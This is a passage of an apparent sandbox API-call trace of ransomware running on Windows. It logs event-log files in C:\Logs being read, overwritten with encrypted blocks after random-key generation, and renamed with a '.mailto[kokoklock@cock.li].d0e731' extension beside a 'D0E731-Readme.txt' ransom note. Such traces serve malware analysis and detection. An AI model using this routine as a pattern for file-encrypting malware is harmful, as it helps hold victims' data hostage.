BaseAddress=0x3479bc8) returned 1 [0061.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b1d8) returned 1 [0061.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.395] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.395] ReadFile (in: hFile=0x5c4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x7f2f7e8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x7f2f7e8*=0x4096, lpOverlapped=0x0) returned 1 [0061.396] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.396] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.396] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.396] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b138 [0061.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b138) returned 1 [0061.396] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.397] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b138 [0061.397] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b160 [0061.397] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b160) returned 1 [0061.397] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.397] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.397] WriteFile (in: hFile=0x5c4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x7f2f7e8, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x7f2f7e8*=0x4096, lpOverlapped=0x0) returned 1 [0061.397] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.397] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.397] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b138*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7f2f820, lpOverlapped=0x0 | out: lpBuffer=0x347b138*, lpNumberOfBytesWritten=0x7f2f820*=0x20, lpOverlapped=0x0) returned 1 [0061.397] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b138) returned 1 [0061.397] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.397] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b110*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x7f2f834, lpOverlapped=0x0 | out: lpBuffer=0x347b110*, lpNumberOfBytesWritten=0x7f2f834*=0x8, lpOverlapped=0x0) returned 1 [0061.397] WriteFile (in: hFile=0x5c4, lpBuffer=0x7f2f84c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7f2f834, lpOverlapped=0x0 | out: lpBuffer=0x7f2f84c*, lpNumberOfBytesWritten=0x7f2f834*=0x4, lpOverlapped=0x0) returned 1 [0061.398] WriteFile (in: hFile=0x5c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7f2f834, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x7f2f834*=0x4, lpOverlapped=0x0) returned 1 [0061.398] WriteFile (in: hFile=0x5c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x7f2f834, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x7f2f834*=0x6c, lpOverlapped=0x0) returned 1 [0061.398] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7f2f834, lpOverlapped=0x0 | out: lpBuffer=0x347b2a0*, lpNumberOfBytesWritten=0x7f2f834*=0x20, lpOverlapped=0x0) returned 1 [0061.398] WriteFile (in: hFile=0x5c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7f2f834, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x7f2f834*=0x4, lpOverlapped=0x0) returned 1 [0061.398] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b2a0) returned 1 [0061.398] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b5e8) returned 1 [0061.398] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b110) returned 1 [0061.398] CloseHandle (hObject=0x5c4) returned 1 [0061.400] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x341e0b8 [0061.400] wcscpy (in: _Dest=0x341e0b8, _Source="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" [0061.400] wcscat (in: _Dest=0x341e0b8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0061.400] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.401] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0061.401] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e0b8) returned 1 [0061.401] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0061.401] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433ce8 [0061.401] wcscpy (in: _Dest=0x3433ce8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0061.401] wcscat (in: _Dest=0x3433ce8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0061.401] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0061.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ce8) returned 1 [0061.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccdf0) returned 1 [0061.402] RtlExitUserThread (Status=0x1) Thread: id = 103 os_tid = 0x1008 [0061.402] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20 [0061.403] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0061.403] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4 [0061.403] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x7fafc84 | out: lpFileSize=0x7fafc84*=69632) returned 1 [0061.403] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.403] ReadFile (in: hFile=0x5c4, lpBuffer=0x7fafc58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7fafc54, lpOverlapped=0x0 | out: lpBuffer=0x7fafc58*, lpNumberOfBytesRead=0x7fafc54*=0x4, lpOverlapped=0x0) returned 1 [0061.405] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.405] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b5e8 [0061.405] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b340 [0061.405] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b110 [0061.405] NtQuerySystemTime (in: CurrentTime=0x7fafc30 | out: CurrentTime=0x7fafc30*=132121176193051033) returned 0x0 [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0x72955327 [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0x455ca4aa [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0x451d6f8d [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0x7b4bff76 [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0x362ef66e [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0x19bb691b [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0x7ecac8d4 [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0x7b4e9038 [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0x4ac36699 [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0xd23d3d9a [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0x461940b6 [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0x3789758a [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0xa06ab516 [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0x33c7aca0 [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0xb3e7620f [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0x3feffeca [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0x12125e0f [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0xba37d794 [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0x8243dcfb [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0xe9593404 [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0xeaed4900 [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0xcb61b25 [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0xb64db82d [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0x66d14206 [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0xbc57b579 [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0x8d638811 [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0x99d646ef [0061.405] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0x6013d5da [0061.406] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0xa34df87d [0061.406] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0x470cf42c [0061.406] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0x9f3cb6a9 [0061.406] RtlRandom (in: Seed=0x7fafc3c | out: Seed=0x7fafc3c) returned 0xafe8f617 [0061.414] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b138 [0061.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b160 [0061.416] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.416] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b5e8) returned 1 [0061.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.416] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.416] ReadFile (in: hFile=0x5c4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x7fafc08, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x7fafc08*=0x4096, lpOverlapped=0x0) returned 1 [0061.417] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.417] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.417] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e20 [0061.417] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2a0 [0061.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b2a0) returned 1 [0061.417] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.417] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b5e8 [0061.417] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b200 [0061.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b200) returned 1 [0061.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e20) returned 1 [0061.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.417] WriteFile (in: hFile=0x5c4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x7fafc08, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x7fafc08*=0x4096, lpOverlapped=0x0) returned 1 [0061.418] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.418] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.418] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7fafc40, lpOverlapped=0x0 | out: lpBuffer=0x347b5e8*, lpNumberOfBytesWritten=0x7fafc40*=0x20, lpOverlapped=0x0) returned 1 [0061.418] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b5e8) returned 1 [0061.418] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.418] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b160*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x7fafc54, lpOverlapped=0x0 | out: lpBuffer=0x347b160*, lpNumberOfBytesWritten=0x7fafc54*=0x8, lpOverlapped=0x0) returned 1 [0061.418] WriteFile (in: hFile=0x5c4, lpBuffer=0x7fafc6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7fafc54, lpOverlapped=0x0 | out: lpBuffer=0x7fafc6c*, lpNumberOfBytesWritten=0x7fafc54*=0x4, lpOverlapped=0x0) returned 1 [0061.418] WriteFile (in: hFile=0x5c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7fafc54, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x7fafc54*=0x4, lpOverlapped=0x0) returned 1 [0061.419] WriteFile (in: hFile=0x5c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x7fafc54, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x7fafc54*=0x6c, lpOverlapped=0x0) returned 1 [0061.419] WriteFile (in: hFile=0x5c4, lpBuffer=0x347b340*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7fafc54, lpOverlapped=0x0 | out: lpBuffer=0x347b340*, lpNumberOfBytesWritten=0x7fafc54*=0x20, lpOverlapped=0x0) returned 1 [0061.419] WriteFile (in: hFile=0x5c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7fafc54, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x7fafc54*=0x4, lpOverlapped=0x0) returned 1 [0061.419] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b340) returned 1 [0061.419] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b138) returned 1 [0061.419] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b160) returned 1 [0061.419] CloseHandle (hObject=0x5c4) returned 1 [0061.422] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb2) returned 0x341e0b8 [0061.422] wcscpy (in: _Dest=0x341e0b8, _Source="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" [0061.422] wcscat (in: _Dest=0x341e0b8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0061.422] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.422] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0061.422] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e0b8) returned 1 [0061.422] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0061.423] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433b68 [0061.423] wcscpy (in: _Dest=0x3433b68, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0061.423] wcscat (in: _Dest=0x3433b68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0061.423] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0061.423] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433b68) returned 1 [0061.423] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d1f78) returned 1 [0061.423] RtlExitUserThread (Status=0x1) Thread: id = 104 os_tid = 0x100c [0061.424] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20 [0061.424] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", dwFileAttributes=0x20) returned 1 [0061.424] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4 [0061.424] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x802fa24 | out: lpFileSize=0x802fa24*=69632) returned 1 [0061.424] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.424] ReadFile (in: hFile=0x5c4, lpBuffer=0x802f9f8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x802f9f4, lpOverlapped=0x0 | out: lpBuffer=0x802f9f8*, lpNumberOfBytesRead=0x802f9f4*=0x4, lpOverlapped=0x0) returned 1 [0061.426] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.426] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b1d8 [0061.426] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2a0 [0061.426] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b5e8 [0061.426] NtQuerySystemTime (in: CurrentTime=0x802f9d0 | out: CurrentTime=0x802f9d0*=132121176193206955) returned 0x0 [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0x3e1ed472 [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0x239a78cc [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0x58f83c4a [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0x564dc451 [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0x48cb9cde [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0x1c0be453 [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0xc00d5716 [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0x2753bd48 [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0xeba1eaa [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0x8e50788a [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0x43336b20 [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0xc5839fa8 [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0xcdb67398 [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0x28c53516 [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0x327a4149 [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0xf37e6431 [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0xaca16276 [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0x8a5b7bea [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0x4cb9311b [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0x6f08fb06 [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0x9d283fb [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0x7650d885 [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0x9f0305a4 [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0xc19f464 [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0x682d9b01 [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0x7c9bbf12 [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0x8a2c651d [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0xf6fab783 [0061.426] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0xb9a12fcc [0061.427] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0xa8828615 [0061.427] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0x1d7b9c98 [0061.427] RtlRandom (in: Seed=0x802f9dc | out: Seed=0x802f9dc) returned 0x76cf4ac8 [0061.435] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b138 [0061.437] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0061.437] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b160 [0061.437] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0061.437] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b1d8) returned 1 [0061.437] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.437] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.437] ReadFile (in: hFile=0x5c4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x802f9a8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x802f9a8*=0x4096, lpOverlapped=0x0) returned 1 [0061.438] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.438] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.438] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.438] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b1b0 [0061.438] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b1b0) returned 1 [0061.438] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.439] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b1b0 [0061.439] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b1d8 [0061.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b1d8) returned 1 [0061.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.439] WriteFile (in: hFile=0x5c4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x802f9a8, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x802f9a8*=0x4096, 